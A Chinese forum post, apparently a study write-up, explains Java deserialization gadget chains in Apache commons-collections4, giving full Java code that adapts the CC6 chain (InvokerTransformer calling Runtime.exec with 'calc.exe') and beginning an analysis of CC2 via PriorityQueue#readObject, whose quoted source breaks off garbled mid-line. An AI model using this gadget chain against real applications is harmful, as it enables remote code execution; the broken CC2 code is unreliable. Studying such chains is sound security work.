06CC2、commons-collections4与漏洞修复

打印 上一主题 下一主题

主题 824|帖子 824|积分 2472

commons-collections的版本和分支

2015年cc链的利用被提出时,apache commons collections有两个分支:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4
前者为Commons Collections⽼的版本包,当时版本号是3.2.1,后 者是官⽅在2013年推出的4版本,当时版本号是4.0。两个包的groupId和artifactId都变了,所以它们并不是一个包的不同版本,而是有着相似功能的不同包。
commons-collections4中的cc1、cc3、cc6

cc1、cc3、cc6都可以在CommonsCollections4中利用,除了cc6需要做一些小改动
将LazyMap.decorate替换为了LazyMap.lazyMap,这是因为CommonsCollections4中的代码改动造成的。
  1. import org.apache.commons.collections4.Transformer;
  2. import org.apache.commons.collections4.functors.ChainedTransformer;
  3. import org.apache.commons.collections4.functors.ConstantTransformer;
  4. import org.apache.commons.collections4.functors.InvokerTransformer;
  5. import org.apache.commons.collections4.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections4.map.LazyMap;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.util.HashMap;
  10. import java.util.Map;
  11. public class CC6InCommonsCollections4 {
  12.     public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
  13.         Object expMap = new CommonCollection6().getObject();
  14.         // ==================
  15.         // ⽣成序列化字符串
  16.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  17.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  18.         oos.writeObject(expMap);
  19.         oos.close();
  20.         // 本地测试触发
  21.         System.out.println(barr);
  22.         ObjectInputStream ois = new ObjectInputStream(new
  23.                 ByteArrayInputStream(barr.toByteArray()));
  24.         Object o = (Object)ois.readObject();
  25.     }
  26.     public Object getObject() throws NoSuchFieldException, IllegalAccessException {
  27.         Transformer[] fakeTransformers = new Transformer[] {new
  28.                 ConstantTransformer(1)};
  29.         Transformer[] transformers = new Transformer[] {
  30.                 new ConstantTransformer(Runtime.class),
  31.                 new InvokerTransformer("getMethod", new Class[] { String.class,
  32.                         Class[].class }, new
  33.                         Object[] { "getRuntime",
  34.                         new Class[0] }),
  35.                 new InvokerTransformer("invoke", new Class[] { Object.class,
  36.                         Object[].class }, new
  37.                         Object[] { null, new Object[0] }),
  38.                 new InvokerTransformer("exec", new Class[] { String.class },
  39.                         new String[] { "calc.exe" }),
  40.                 new ConstantTransformer(1),
  41.         };
  42.         Transformer transformerChain = new ChainedTransformer(fakeTransformers);
  43.         Map innerMap = new HashMap();
  44.         // 修改
  45.         Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
  46.         TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
  47.         Map expMap = new HashMap();
  48.         expMap.put(tme, "valuevalue");
  49.         outerMap.remove("keykey");
  50.         Field f =
  51.                 ChainedTransformer.class.getDeclaredField("iTransformers");
  52.         f.setAccessible(true);
  53.         f.set(transformerChain, transformers);
  54.         return expMap;
  55.     }
  56. }
复制代码
CC2


  • 入口为java.util.PriorityQueue#readObject,是一个二叉堆
  • 通过org.apache.commons.collections4.comparators.TransformingComparator#compare调用transform
java.util.PriorityQueue#readObject分析 :
[code]// java.util.PriorityQueue#readObjectprivate void readObject(java.io.ObjectInputStream s)        throws java.io.IOException, ClassNotFoundException {        // Read in size, and any hidden stuff        s.defaultReadObject();        // Read in (and discard) array length        s.readInt();        queue = new Object[size];        // Read in all elements.        for (int i = 0; i < size; i++)            queue = s.readObject();        // Elements are guaranteed to be in "proper order", but the        // spec has never explained what that might be.        heapify();    }// java.util.PriorityQueue#heapify恢复二叉堆状态private void heapify() {        // size >>> 1个非叶子节点需要调整        // 假如最后一个叶子结点的位置为n,它的父节点的位置为n>>>1,从父节点的位置往前数全部是非叶子节点        for (int i = (size >>> 1) - 1; i >= 0; i--)            // 调整每个非叶子节点            siftDown(i, (E) queue);    }private void siftDown(int k, E x) {        // 优先队列需要比较节点的大小,comparator是比较器        if (comparator != null)            siftDownUsingComparator(k, x);        else            siftDownComparable(k, x);    }// 利用提前设置的比较器private void siftDownUsingComparator(int k, E x) {        int half = size >>> 1;        while (k < half) {            int child = (k  0)                c = queue[child = right];            //  触发org.apache.commons.collections4.comparators.TransformingComparator#compare            if (comparator.compare(x, (E) c)
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

魏晓东

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表